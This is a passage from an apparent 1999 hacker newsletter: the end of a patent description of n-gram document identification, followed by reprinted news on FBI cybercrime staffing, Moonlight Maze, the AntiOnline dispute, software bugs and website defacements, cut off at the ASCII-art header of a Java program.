      reference documents. The score for the unidentified document with respect to a reference document indicates the degree of similarity between the two documents. 
      
      Scoring the unidentified document entails first, as mentioned above, subtracting the commonality weight derived from the reference documents from its corresponding
      n-gram weight within the unidentified document. If an n-gram appears in the unidentified document but does not appear in the reference documents the commonality
      weight for that n-gram is equal to zero. Each commonality-removed n-gram weight of the unidentified document (denoted Ui) is then multiplied by the
      commonality-removed n-gram weight of its corresponding n-gram in a particular reference document (denoted Ri). These products are then summed (i.e., "summation of
      products"). ##EQU1## 
      
      Each commonality-removed n-gram weight in the reference document is then squared (i.e., Ri**2). These squared terms are then summed. Each commonality-removed
      n-gram weight in the unidentified document is then squared (i.e., Ui**2). These squared terms are also summed. These two sums are then multiplied together to form a
      "product of summations". ##EQU2## 
      
      Finally, the score of the unidentified document with respect to a particular reference document is the "summation of products" divided by the square root of the "product
      of summations". ##EQU3## 
      
      The unidentified document is scored against each of the reference documents. The user can define the score-threshold required for identifying a document as being
      similar to a reference document with respect to language or topic. When a user-defined threshold is used, there is a possibility that an unidentified document may not be
      identified as being similar to any of the reference documents. The user can avoid having to set this threshold by allowing the unidentified document to be identified with
      the reference document that produced the highest score. 
      
      The following examples demonstrate the numerical steps involved with the present invention. These examples are intended to be exemplary of the individual steps of the
      algorithm and should not be viewed as limitations upon the claimed invention. 
      
      FIG. 3 shows a reference document for the Greenlandic language (i.e., "Nanok nunane issigtune"). No preprocessing of the example is necessary. Two-grams will be
      used in this example. In order to reduce the number of possible 2-grams, the small letters will be capitalized and any multiple spaces will be reduced to a single space
      (i.e., ".sub.-- "). The Greenlandic reference document thus becomes "NANOK.sub.-- NUNANE.sub.-- ISSIGTUNE". 
      
      All unique 2-grams for the Greenlandic reference document are shown in FIG. 3. They are NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS,
      SS, SI, IG, GT, TU. A weight is assigned to each of these 2-grams. The weight of a 2-gram is determined by dividing the frequency of occurrence of that particular
      2-gram by the total number of (possibly non-unique) 2-grams present in the reference (i.e., the weight of the 2-gram NA is 2/21=0.095). 
      
      FIG. 4 shows a reference document for the Hawaiian language (i.e., "I hele mai nei au e hai"). All reference documents must be parsed using the same n-gram structure
      (e.g., 2-grams in this example). Again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be reduced to a
      single space. The Hawaiian reference document thus becomes "I.sub.-- HELE.sub.-- MAI.sub.-- NEI.sub.-- AU.sub.-- E.sub.-- HAI". 
      
      All unique 2-grams for the Hawaiian reference document are shown in FIG. 4. They are I.sub.--, .sub.-- H, HE, EL, LE, E.sub.--, .sub.-- M, MA, AI, .sub.-- N, NE, EI,
      .sub.-- A, AU, U.sub.--, .sub.-- E, HA. A weight is assigned to each 2-gram in the same manner as described for the Greenlandic reference document above (e.g., the
      weight of the 2-gram I.sub.-- is 3/22=0.136). 
      
      There is no requirement that the number of n-grams contained in the reference documents be similar. The algorithm requires no preprocessing of the documents. Even
      capitalization and the reduction of multiple spaces to a single space is not required for proper operation of the present invention. These steps are only taken in order to
      enhance performance and reduce memory requirements. 
      
      The commonality among the reference documents is then removed. This is accomplished by first listing all unique 2-grams within all of the reference documents as
      shown in FIG. 5 (i.e., NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS, SS, SI, IG, GT, TU, I.sub.--, .sub.-- H, HE, EL, LE, .sub.-- M, MA,
      AI, EI, .sub.-- A, AU, U.sub.--, .sub.-- E, HA). The commonality weights are then determined for each unique 2-gram by dividing the sum of the weights across all
      references for each 2-gram by the total number of reference documents. For example, the commonality weight for the 2-gram NE is (0.095+0.045)/2=0.070 whereas
      the commonality weight for the 2-gram NA is (0.095+0)/2=0.048. The 2-gram NA has a weight of 0.095 in the Greenlandic reference while it has a weight of 0 in the
      Hawaiian reference because it does not appear in the Hawaiian reference. 
      
      The commonality weight represents the average contribution of a particular 2-gram to each of the reference documents. This commonality is removed from both the
      reference documents and the unidentified document in order to better distinguish one document from another. Commonality is removed from the weight of a 2-gram
      within a document by subtracting the commonality weight from the weight of the corresponding 2-gram in that document. For example, the commonality-removed weight
      of the 2-gram NE in the Greenlandic reference document is 0.095-0.070=0.025. The commonality-removed weight of the 2-gram NE in the Hawaiian reference
      document is 0.045-0.070=-0.025. The step of removing commonality improves performance and simplifies the process of identifying documents. 
      
      FIG. 5 also lists the commonality weight of each unique 2-gram across the reference documents. These commonality weights are then removed from the corresponding
      2-gram weight in each reference document and from the unidentified document. FIG. 6 lists the commonality-removed weights for the unique 2-grams in Greenlandic
      while FIG. 7 lists the commonality-removed weights for the unique 2-grams in Hawaiian. The commonality-removed weights of a particular reference document are
      then used to calculate a similarity score for the reference document with respect to an unidentified document. 
      
      FIG. 8 shows an example of text written in an unidentified language (i.e., "Martsime nanut"). The unidentified text must be parsed into the same n-gram structure as the
      reference documents (i.e., 2-grams). Once again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be
      reduced to a single space. The unidentified document thus becomes "MARTSIME.sub.-- NANUT". 
      
      The total number of unique 2-grams in the unidentified document, as listed in FIG. 8 are MA, AR, RT, TS, SI, IM, ME, E.sub.--, .sub.-- N, NA, AN, NU, UT. A weight
      is assigned to each 2-gram. Once again, the weight of a 2-gram is determined by dividing the frequency of occurrence of that 2-gram by the total number of 2-grams
      present in the unidentified text (e.g., the weight of MA in the unidentified text is 1/13=0.077). The commonality weights of the reference documents are then subtracted
      from the corresponding 2-grams in the unidentified documents (see FIG. 8). 
      
      In FIG. 9, a similarity score is calculated for the unidentified text with respect to the Greenlandic reference document. The equation for this calculation is as follows:
      ##EQU4## where Ui represents the commonality-removed weight of a 2-gram within the unidentified text and Ri represents the commonality-removed weight of the
      corresponding 2-gram within the Greenlandic reference document which is being compared against the unidentified document. 
      
      Each commonality-removed weight of the 2-grams in the unidentified text is multiplied by its corresponding commonality-removed weight in the Greenlandic reference
      document. Each commonality-removed n-gram weight in the Greenlandic reference document is then squared. These squared terms are then summed. Each
      commonality-removed n-gram weight in the unidentified document is then squared. These squared terms are then summed. These sums are multiplied together to form a
      "product of summations". 
      
      Finally, the score of the unidentified document with respect to the Greenlandic reference document is the "summation of products" divided by the square root of the
      "product of summations". The result as seen in FIG. 9 is a score that indicates the similarity between the unidentified text and the Greenlandic reference document. 
      
      A similarity score is generated for each reference document. The document can either be identified as being similar to the reference document that generated the
      highest score or similar to the reference document that generated a score that exceeds a user-defined threshold. In the latter approach, an identification is not forced
      (i.e., the unidentified document may not be identified as being similar to one of the reference documents). Also, with the latter approach, the unidentified document may
      be identified as being similar to a number of reference documents if these reference documents generate a score that exceeds the user-defined threshold. 
      
      Certain text strings in a particular language, such as "is", "the", "and", "with", "for" etc. in English, useful for language identification, are normally useless for topic
      identification. The present invention solves the problem of finding distinctions among documents with respect to topic by removing the commonality among documents. 
      
      Removing commonality among documents entails calculating the average for each n-gram frequency of occurrence within all of the documents and then subtracting
      these averages from each corresponding n-gram frequency of occurrence within each document. The removal of commonality makes the job of determining if a
      document is similar to another document simpler. Sensitivity to topic is achieved with no human intervention, irrespective of the language of the document. The user can
      again set the threshold for determining when documents are similar to each other with respect to topic. 
      
      This algorithm works equally well in any language but topic identification only works when comparing documents that are written in a common language (or several
      closely related languages). This is because the topic is related to the pattern created by the n-grams. The pattern created by the n-grams is controlled by the language of
      the document. 
      
      Topic identification can be done as easily in languages that have relatively few letters, such as English, as in languages that have many characters, such as ideographic
      languages (e.g., Japanese). While not wishing to be bound by theory, it is believed that the advantageous results of the present invention are obtained because the topic
      of a document constrains the n-grams used to discuss the topic. Topic identification then becomes a determination of how similar the documents are with respect to the
      n-grams used. 
      
      FIG. 10 outlines the algorithm that is used to retrieve documents from a database. The documents can be retrieved with respect to a desired language or topic. 
      
      A database typically contains numerous documents concerning many topics that are written in different languages. There is no requirement that these documents be in
      any particular form. An n-gram array is created for each database document. This is accomplished by making a list, for each database document, of the unique n-grams
      that occur in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of an n-gram in a particular
      document (i.e., the number of times that an n-gram occurs in a particular document divided by the aggregate total of all n-gram occurrences within that document).
      Weights are then assigned to each n-gram in each database document. 
      
      The commonality among the database documents is then removed from the database documents and the query. This is accomplished by first listing all the unique
      n-grams within all of the documents. Second, a commonality weight is assigned to each unique n-gram based on its mean relative frequency of occurrence. The
      commonality weight for each n-gram is then subtracted from the weight of its corresponding n-gram within each database document and from the weight of its
      corresponding n-gram within the query. 
      
      The query is submitted by the user. The query represents the type of document that the user wishes to retrieve from the database (i.e., documents with a similar topic or
      language). There is no requirement on the form that the query must take. 
      
      Note that a query concerning a topic of interest will result in documents retrieved on that topic that are written in the language of the query. Documents on that topic that
      are written in a language that is different from the query will normally not be retrieved. This is because different languages typically use different n-grams to represent
      the same topic. 
      
      The query is then parsed into n-grams. This is accomplished by making a list of all the unique n-grams that occur in the query. Weights are assigned to each unique
      n-gram within the query. The weight is determined by the frequency of occurrence of that n-gram within the query. The commonality weights are then subtracted from
      the corresponding 2-grams within the query. The query is then compared to each of the database documents by scoring the query against each of the database
      documents. 
      
      The score is obtained by first multiplying each commonality-removed n-gram weight of the query (e.g., Qi) by the commonality-removed weight of its corresponding
      n-gram in a particular database document (e.g., Di). These products are then summed (i.e., "summation of products"). ##EQU5## 
      
      Each n-gram in the database document is then squared (e.g., Di**2). These squared terms are then summed. Each n-gram in the query is then squared (e.g., Qi**2).
      These squared terms are then summed. These sums are then multiplied together to form a "product of summations". ##EQU6## 
      
      Finally, the score of the database document with respect to the query is the "summation of products" divided by the square root of the "product of the summations".
      ##EQU7## 
      
      A score is generated for each database document with respect to the query. The user defines the threshold score that is used to determine whether a database
      document is similar to the query with respect to language or topic. 
      
      The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for retrieving
      documents from a database. 
      
      N-grams can also be used for solving the problems associated with sorting database documents into categories containing like documents. The algorithm of the present
      invention does not require any guidance from the user or any preprocessing of the database beyond that described above. The database can be sorted into categories of
      language or topic. Documents can easily be cross-referenced into different categories (i.e., one document may be sorted into a particular language category as well as a
      particular topic category). 
      
      FIG. 11 outlines the algorithm that is used to sort database documents into categories. The documents can be sorted with respect to a language or topic. A database
      typically contains numerous documents. These documents may deal with different topics and may be written in different languages. There is no requirement that these
      documents be in any particular form. 
      
      An n-gram array is created for each database document. This is accomplished by making a separate list, for each database document, of the unique n-grams that occur
      in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of that n-gram in that particular document.
      Weights are then assigned to each n-gram in each database document. 
      
      The commonality among the database documents is then removed from each database document. This is accomplished by first listing the unique n-grams that occur in
      the documents (i.e., temporarily thinking of the separate database documents as one large document, then listing the unique n-grams that occur in this one document).
      Second, a commonality weight is assigned to each n-gram based on the frequency of occurrence (i.e., the total number of occurrences in all of the database documents
      of that particular n-gram divided by the total number of unique n-grams within all of the database documents). Each commonality weight is divided by the total number of
      database documents. The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each database document. 
      
      Each database document is then compared to each of the other database documents. This is accomplished by scoring each database document against each of the other
      database documents. The score consists of first multiplying each commonality-removed n-gram weight from a database document (e.g., Dli) by its corresponding
      commonality-removed n-gram weight from the database document that is being compared (e.g., D2i). These products are then summed to form a "summation of
      products". ##EQU8## 
      
      Each commonality-removed n-gram weight in the first database document is then squared (e.g., Dli**2). These squared terms are summed. Each commonality-removed
      n-gram weight in the second database document, which is being compared to the first database document, is then squared (e.g., D2i**2). These squared terms are
      summed. These sums are then multiplied together to form a "product of summations". ##EQU9## 
      
      Finally, the score of the first database document with respect to the second database document is the "summation of products" divided by the square root of the "product
      of summations". ##EQU10## 
      
      A score is generated for each database document with respect to each of the other database documents. The user defines the threshold that the score must attain in
      order for two documents being compared to be declared similar. Similar documents are then sorted into like categories with respect to language or topic. 
      
      The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for sorting database
      documents. 
      
      Present research activities in text processing have focused on content-based (i.e., linguistic) analysis. The present invention has focused solely on a pattern recognition
      (i.e., non-linguistic) analysis. The present invention does not require any additional information pertaining to syntax, semantics or grammar. The benefits of applying
      n-gram analysis to topic identification have not been fully appreciated until now. 
      
      The topic identification method of the present invention operates in any language with equal ease (but in only one language at a time). It can be initiated by a non-reader
      of the text language and requires no special training. The method is robust in the presence of garbled text (i.e., text that contains errors). The user sets the threshold for
      determining if documents are similar. Uninformative commonality is automatically removed from the documents. 
      
      Changes and modifications in the specifically described embodiments, especially in the programming language used to implement this invention and the specific formula
      for the similarity score derived from the n-gram weights, can be carried out without departing from the scope of the invention which is intended to be limited only by the
      scope of the appended claims. 
      
                                                                 * * * * *
      
                                                                         
                                                                     
                                                                      
39.0  To Few Comp Crime Experts in FBI Says Vatis 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
      
      From HNN http://www.hackernews.com

      contributed by netmask 
      Michael Vatis, director of NIPC, told the Senate
      Judiciary Technology and Terrorism Subcommittee on
      Wednesday that only eight FBI field offices are
      adequately staffed to handle computer crime cases.
      Vatis also said that the FBI has 800 pending cases and
      their workload doubles every year. 

      Nando Times                                                  
      http://www2.nando.net/noframes/story/0,2107,500042584-500069214-500140256-0,00.html
      
      FBI shorthanded against computer hackers 

      Copyright © 1999 Nando Media
      Copyright © 1999 Associated Press
      
      From Time to Time: Nando's in-depth look at the 20th century 
      
      By TED BRIDIS 
      
      WASHINGTON (October 7, 1999 11:23 a.m. EDT http://www.nandotimes.com) - The FBI is teaching its agents across the country to investigate threats posed
      by computer-savvy terrorists and hackers seeking to break into the nation's most sensitive data networks, but so far has been able to train agents in only
      a handful of its biggest field offices. 
      
      That shortfall, disclosed in congressional testimony by the head of the FBI's National Infrastructure Protection Center, comes during a time of growing
      recognition within the federal government that even some of the nation's most critical computer networks are inadequately protected. 
      
      Michael Vatis, director of the center, told the Senate Judiciary technology and terrorism subcommittee Wednesday that the FBI has trained teams of at
      least seven cyber-agents in field offices in Washington, New York, San Francisco, Los Angeles and four other cities. 
      
      But "because of resource constraints, the other field offices have only one to five agents dedicated to working on ... (computer intrusion) matters," Vatis
      told the Senate panel. 
      
      "Our bench is thin, very thin," Vatis told The Washington Post. "We have put together a good starting lineup. But if we had several major incidents at the
      same time, we would be severely stretched, to put it mildly." 
      
      The FBI's case load for computer hacking and intrusion investigations continues to grow dramatically, too. Vatis said the agency has 800 pending cases,
      and the number of those investigations has doubled every year for the past two years. 
      
      The General Accounting Office, the investigative arm of Congress, released a report earlier this week warning that computer systems at the Defense
      Department, law enforcement and private industries are at risk because of poor management and lax oversight. 
      
      Experts said it will take more than the federal government to tighten security on its networks. 
      
      "All our efforts to put the federal government's house in order and to serve as a model for industry will be of little service if our government information
      systems are impossible to break into, but the electrical power that they operate on is shut down by malicious actions of a foreign government," said John
      Tritak, director of the government's Critical Infrastructure Assurance Office. 
      
      Vatis also acknowledged for the first time publicly that the FBI believes that hackers suspected of breaking into some of America's most sensitive
      networks earlier this year originated from Russia. 
      
      Those attacks, dubbed "Moonlight Maze" by investigators, were first reported in July by a London newspaper. Citing congressional sources, it said the
      attackers may have stolen some of the nation's most sensitive military secrets, including weapons guidance systems and naval intelligence codes. 
      
      The intruders have stolen "unclassified but still-sensitive information about essentially defense technical research matters," Vatis said. "About the furthest
      I can go is to say the intrusions appear to originate in Russia," he told the subcommittee. 
      
      @HWA

      
40.0  The Truth About AntiOnline? 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by John Vranesevich 
      So what exactly is the truth about AntiOnline and John
      Varensvich? This New York Times article would make it
      seem like he is on the side of truth justice and the
      American way. We recommend you read all four articles
      linked to below before you make up your mind. 

      NY Times - Tracker of Hackers Goes From Friend to Foe
      (Registration Required) 
      http://www.nytimes.com/library/tech/99/10/cyber/articles/08hackers.html

      Forbes - Go Ahead and Sue
      http://www.forbes.com/columnists/penenberg/1999/0927.htm
      
      CyberWire Dispatch Aug 1999 - Jacking In From the "Pine-Sol" Port
      http://www.hackernews.com/orig/CWD0899.html
      
      Ottawa Citizen - Spy vs. Spy In the Hacker Underworld The Truth About AntiOnline? 
      http://www.attrition.org/negation/ottawa.html
      
      
      
      Tracker of Hackers Goes From Friend to
      Foe

      By MATT RICHTEL 

             hen malicious hackers broke into Pentagon computers in March
             of last year, one of them contacted John Vranesevich to offer him
             an exclusive interview. For Vranesevich, the 20-year-old founder
      of a hacker news Web site called AntiOnline, the event marked the apex
      of his relationship with the hacker underground. 

      It has been downhill ever
      since. Once the confidant of
      computer hackers,
      Vranesevich is now their
      sworn enemy. 

      He is marketing his services
      to companies seeking ways to
      protect their systems from
      hackers, and even the FBI is
      turning to him for assistance.
      At the same time, an
      influential group of hackers is
      accusing Vranesevich of
      turning on them and betraying
      their confidence. They also
      say he has secretly promoted
      illegal hacking attempts
      himself. 

      Vranesevich says his Web site, which now focuses on general computer
      security issues, is attacked hundreds of times a day by hackers. But he
      says he understands why hackers are coming after him -- and to an extent,
      he sees the attacks as a badge of honor. 

      "I'm a threat to them," he said. "I am trying to put a stop to the
      maliciousness they've gotten away with for years." 

      The hackers' reversal stems from Vranesevich's decision last year to go
      from heralding hacker exploits to hunting hackers. Some of the same
      techniques he once used to follow and publicize the attacks of hackers --
      and that wound up getting him quoted as a "hacker expert" in dozens of
      newspaper articles -- he now uses to explain their methods to government
      and corporate security personnel. 

      Vranesevich says his about-face came because he decided computer
      hackers, who say they are exposing security flaws for the sake of a
      greater good, are really just petty vandals. But some hackers say he
      sensationalized their exploits to begin with, then turned on the very hackers
      who helped him understand their ways and create a thriving Web site. 

      "One day he was friends with all these people breaking into .mil [military]
      sites, and the next his stated objective is to hunt these people down," said
      Jeff Moss, organizer of the annual Defcon hacker convention and the
      Black Hat Briefings, a corporate and government security conference. "I
      guess he's gotten where he wants to be." 

      Vranesevich has come a long way in a short time. At the age of 20 he has
      established a Web site that has made quite a name for itself in hacker and
      security circles and has attracted an undisclosed amount of venture capital
      financing from a Cleveland-based company called Darice Inc. The Web
      site boasts advertising revenue from mainstream sources like Microsoft
      and Verisign. 

      Vranesevich's interest in computers and networking dates back to his early
      childhood in Beaver, Pa., north of Pittsburgh. He started AntiOnline while
      he was in junior high to convey the things he was learning about computing
      and network security, and it grew from there. Vranesevich said that in high
      school, he helped expand the school district's computer network from 6 to
      600 computers. 

                                 He enrolled at the University of
                                 Pittsburgh in the fall of 1997 and
                                 continued to make a name for himself
                                 -- but not necessarily a positive one in
                                 the eyes of the university's
                                 administration. In fact, they tried to
                                 boot him out for hosting the AntiOnline
                                 site on the school's network, calling it
                                 an inappropriate use of computer
                                 resources. 

      The university allowed the site to go back up following media reports of the
      event. There was also an outcry from hackers -- both the malicious variety
      and those just interested in messing with computers -- who sent e-mail to
      the university saying it had shut down a valuable resource. A symbiotic
      relationship between hackers and Vranesevich was born. 

      The AntiOnline site became a place where hackers could explain their
      motivations, voice their opinions, even brag about their exploits.
      Vranesevich also spent time in the Internet chat rooms frequented by
      hackers and gained their trust. For Vranesevich, the relationship brought
      traffic to the site and intensifying media coverage. 

      Vranesevich started changing his mind about hackers in September 1998.
      He learned that a California hacker had promised to sell information about
      how to navigate United States military networks to an alleged terrorist.
      (Vranesevich said he learned this from the hacker's mother, who called
      him the night her son was raided by the FBI.) 

      Vranesevich said he once thought that hackers were somehow patriotic in
      their efforts to expose security holes, but he became convinced they were
      malicious and selfish. 

      "I guess I became disillusioned," he said, referring to the deal made by the
      California hacker. "He had done the most eloquent manifestos [of hacker
      ideals], then here he is selling maps to someone claiming to be a terrorist." 

      The new Vranesevich started to help government officials find people
      accused of malicious hacking. He said he turned over information to the
      FBI that led it to raid the home of a hacker named Brian Martin in
      connection with an attack on The New York Times' Web site in
      September 1998. Martin acknowledges that his home was raided by the
      FBI several months later, but he was never arrested or charged, and he
      denies involvement in the attack. 

      But some hackers have a different theory about
      Vranesevich's motivations. They suggest that he
      used hackers to make a name for himself, then
      abandoned them -- or, they suggest, he felt
      pressure from government authorities to turn his
      back on them. 

      Martin, who admits to some malicious hacking in
      his past but says he has been an above-board
      security consultant for years, is a member of
      Attrition.org, a hacker group that has
      spearheaded an effort to discredit Vranesevich.
      The group has posted e-mail messages on its
      Web site that it says demonstrate that
      Vranesevich has made false statements about hackers. The group also
      says that Vranesevich paid a hacker to break into the Web site of the
      United States Senate so that AntiOnline could be the first to report it -- an
      accusation Vranesevich denies. 

      "The problem is, if any single security professional reads his site and puts
      credence in his accusations, then it affects not only our reputation, but our
      ability to work," Martin said. He added that Vranesevich, because of his
      alleged dealings with hackers, is guilty of the same misdeeds he has been
      ascribing to Martin's group. 

      Martin and other members of Attrition.org contend that Vranesevich
      himself has been the subject of an FBI investigation. 

      Special Agent Jim Margolin of the FBI said the agency does not comment
      on whether it has investigated someone in the past. "But we continue to
      consult with Mr. Vranesevich, and that should say something about our
      assessment of his bona fides," he said. 

      Wherever the truth lies, Vranesevich now has little standing among
      hackers. At the Defcon convention in Las Vegas in July, a "Wanted"
      poster circulated bearing Vranesevich's picture and calling him a "narc." 

      Meanwhile, though, his site continues to grow, albeit with a new
      constituency. Vranesevich runs it out of a rented three-room office space
      in Beaver, and said it gets "hundreds of thousands" of visitors each month.
      He has one full-time employee, paid and unpaid freelancers, and eight
      informers who keep him up to date on hacker activity. 

      Among the site's users are research firms who are putting faith in
      Vranesevich to help them understand computer security. For example, he
      is working with Klein Associates, a consulting firm near Dayton Ohio, that
      advises companies on decision-making techniques. 

      "He has a tremendous amount of knowledge in areas of security and
      hacking," said Terry Stanard, a research associate with Klein. "He's really
      impressive once you get to know him and talk to him." 

      Vranesevich said he is still keeping a keen eye on hackers. He and his one
      full-time employee lurk in hacker chat rooms under assumed names,
      looking to profile hackers and their motivations and methods. He said the
      way to catch hackers is to understand them as individuals and as a group,
      not necessarily to comb through evidence left on their computers. 

      "I don't want to be an expert in the gun; I want to be an expert in the
      people who pull the trigger," Vranesevich said. 

      To make matters more complicated, the hackers are aiming at him. 


      Related Sites
      These sites are not part of The New York Times on the Web, and The Times has
      no control over their content or availability.

       o    AntiOnline    http://www.antionline.com

       o    Attrition.org http://www.attrition.org


      Matt Richtel at mrichtel@nytimes.com welcomes your comments and
      suggestions.

      -=-

     `(The remaining articles appeared in last weeks issue)
     
41.0  Software Liability 
      ~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      contributed by Weld Pond 
      Your software is full of bugs, security holes, and
      sometimes just plain does not work. Programers are
      apalled at what they are asked to ship out the door,
      buggy code, unfinished products, software they would
      never run on their own machine. Software companies
      don't care when customers ask why. They turn a blind
      eye and ask, "Who, me?" 

      Shift      
      http://www.shift.com/shiftstd/SiteMap/frames/mag7.6.asp?searchfor=7.6bombsquad
      
      Bombsquad
      
      The tester knew things were getting ugly. He could hear the edge of
      panic in his manager's voice. Their company was developing its next
      major software release, a multiplayer PC videogame. Its launch was
      planned for the lucrative summer buying season, but the work was now
      deep into a peculiarly eye-glazing eleventh-hour rush. Management hadn't
      given the programmers nearly enough time to do a decent job, and it
      showed. The project was crumbling with the grim, exponential logic of
      software development: The more eye candy the programmers crafted,
      the more bugs erupted. Though the Tester didn't know the actual size of
      the program, it was probably several hundred thousand, even several
      million lines of code.

      "When it gets to that point, it's really hard to tell what might be wrong
      with it, but there's probably a lot," he says. It was the Tester's job to find
      any major bugs, a task that usually requires a week or more. This time,
      he didn't have it. "They handed me the game and said I had the
      weekend." The marketing department was breathing fire; they had been
      hyping the game as the hottest new entry in the category. "They'd tell
      you they've got this multimillion-dollar ad campaign, and that you're
      fucking up if you don't ship on time. So eventually even the developing
      leads are saying, 'OK, let's just get it out there,'" he says. 

      The Tester's only chance to prevent the game from shipping was to find a
      "show-stopper"-a bug so severe it could bring the whole system to a
      halt. He quickly went to work, hooking the game up to his testing
      network-a collection of eight high-end computers rigged up to emulate
      the stresses of online play. By Sunday, after nonstop work, he'd
      discovered scores of bugs. One was particularly nasty: The key sequence
      'control-alt-delete,' a move that gamers employ to shut down a program
      if it accidentally freezes, would instead shut down the whole computer.
      Any information that wasn't saved would be lost. The only worse thing,
      he marvelled, would be to have a program that actively destroyed data. 

      @HWA
      
42.0  PHONELOSERS PARODY
      ~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by BHZ, Friday 8th October 1999 on 6:35 pm CET
      We published earlier that the PLA site (www.phonelosers.org) was hacked, but we
      were informed that it was a hoax. Thanks to Acos and White Wampire for informing
      us.     
      
      http://www.phonelosers.org
      
43.0  TAKING HACKER TO COURT NOT SO EASY
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Thursday 7th October 1999 on 11:35 pm CET
      Lawyers say that computer laws here (Singapore) might not be enough if the hacker,
      "mistuh clean", is a foreigner and lives abroad. A police report may have already been
      filed, but legal and territorial issues could get in the way of finding and punishing the
      hacker who recently defaced several local websites. Read more        
      
      http://www.straitstimes.asia1.com/cyb/cyb1_1007.html
      
      
      Taking hacker to court not so easy 

      Lawyers say that computer laws here might not be
      enough if hacker, mistuh clean, is a foreigner and
      lives abroad
      
      By SAMANTHA SANTA MARIA
      
      A POLICE report may have already been filed, but legal
      and territorial issues could get in the way of finding and
      punishing the hacker who recently defaced several local
      websites. 
      
      The hacker, who goes by the name of mistuh clean,
      gained notoriety for hacking into eduMALL, a
      collaboration between the Education Ministry, Kent Ridge
      Digital Labs and the National Computer Board (NCB),
      and a Television Corporation of Singapore web page. 
      
      The NCB said on Tuesday that it had made a police
      report. 
      
      But while authorities here may be able to identify the
      perpetrator, taking him to court here could be quite
      another matter altogether, said lawyers yesterday. The
      Computer Misuse Act states that as long as the offence
      was against a local property, it is a crime, regardless of
      where it was committed. But this has yet to be put to a
      legal test. 
      
      Lawyer Rajesh Sreenivasan, who handled a cybersmear
      case, said so far, only people in Singapore have been
      charged under the Act. 
      
      The only foreigner to be charged and sentenced was the
      15-year-old Myanmar national who hacked into
      Mediacity, he added. 
      
      He said: "The question is this: should it be discovered that
      mistuh clean is a foreigner living abroad, will the law still
      work? There is a need for the courts to make a judicial
      decision on this matter." 
      
      The next obstacle would be to get the perpetrator to
      Singapore. 
      
      Said another lawyer: "We would then run into a host of
      international policy issues. Would the authorities in his
      country of origin be willing to arrest him? Would they
      hand him over to us?" 
      
      Associate Professor Ang Peng Hwa, vice-dean of
      Nanyang Technological University's school of
      communication studies and a lawyer by training, pointed
      out that mistuh clean may have done himself a disservice
      by hacking into two US companies. 
      
      "Now the matter is also US-related," he added. 
      
      The hacker hit the Silicon Valley-based Internet Image
      two weeks ago and Massachusetts firm Webyes last
      Thursday. Neither company responded when asked if
      they had reported the incidents to the police. 
      
      Hackers who contacted The Straits Times were in
      agreement that mistuh clean had targeted
      Singapore-related websites because of their relatively lax
      safeguards. 
      
      Veteran Canadian hacker vo0do0 said in an e-mail:
      "Domains with .sg are extremely insecure. Almost every
      single one in existence is vulnerable or open to
      something." 
      
       
      @HWA
      
44.0  RUSSIA RESPONDS TO HASTY SPYING CONCLUSIONS
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Thursday 7th October 1999 on 11:15 pm CET
      After first India labelled insinuations about "cyberattacks" from their side as ridiculous
      suggestions, now Russia responds to reports that Russian intelligence stole
      information from US military. Even if the requests came from Moscow, they've got a
      point when they say "a Web server is a public service. Anybody can connect." (when
      going on in that reasoning though, there was never actually said that the Russian
      government ordered such an action, just where the attacks appeared to come from,
      mind you) Wired       
      
      http://www.wired.com/news/news/politics/story/22130.html
      
      Russia Spies? 'We Know Nothing'
      Reuters 
      
      9:00 a.m.  7.Oct.99.PDT
      MOSCOW -- Reports that someone in Russia stole information from US military computers do not prove a Kremlin cyber-spy ring has been
      uncovered, Russia's Foreign Intelligence Service said Thursday. 
      
      Michael Vatis of the Federal Bureau of Investigation told a Senate subcommittee Wednesday the FBI thought computer hackers located in Russia
      had filched sensitive information from US military networks. 
      
      Vatis was disclosing a probe, Moonlight Maze, under way for more than a year, which has been tracking what he called "a series of widespread
      intrusions into Defense Department, other federal government agencies, and private sector computer networks." 
      
      But Boris Labusov, spokesman for Russia's SVR Foreign Intelligence Service, said Russian spies would probably have been clever enough not to allow
      themselves to be traced. "As I understand, apparently they determined the route of the infiltrations, and the requests came from Moscow," he said.
      
      "Do you think Russian special services are so stupid as to engage in such activities directly from Moscow?" said Labusov. "For decades, everybody
      has written about how clever the KGB and Soviet intelligence are. Why should one think we suddenly became less clever in the last few years?" 
      
      He said the culprits could have been amateur computer hackers seeking thrills, or even intelligence agents from a third country acting out of
      Moscow to avoid detection. "A Web server is a public service. Anybody can connect." 
      
      An American official had said suspects in the case were thought to come from the 275-year-old Academy of Sciences, Russia's top scientific
      research body, which groups thousands of senior scientists at institutes and universities across the country in virtually all fields. 
      
      The academy denies any involvement. 
      
      "[Reports of intrusions] could be true: There is such a profession -- people who sneak into computer systems," academy spokesman Igor Milovidov
      said. "But we don't take part in that. That is complete gibberish." 
      
      Copyright 1999 Reuters Limited. 
      
      @HWA
      
45.0  KeyRoot presents nitestick.java
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Contributed by Wyze1
      
       /*         ____     ______  __  ___  _____    ____             __________
       *        /   /    /  ___/  \ \/  / /     \  /    \    ____   /___   ___/
       *       /   /__  /  /__     \   / /  <>  / /  __  \  /    \     /  / 
       *      /   ___/ /   __/     /  / /     _/  \      / /  __  \   /  /
       *     /    \   /   /__     /  / /  /\  \    \____/  \      /   \  \
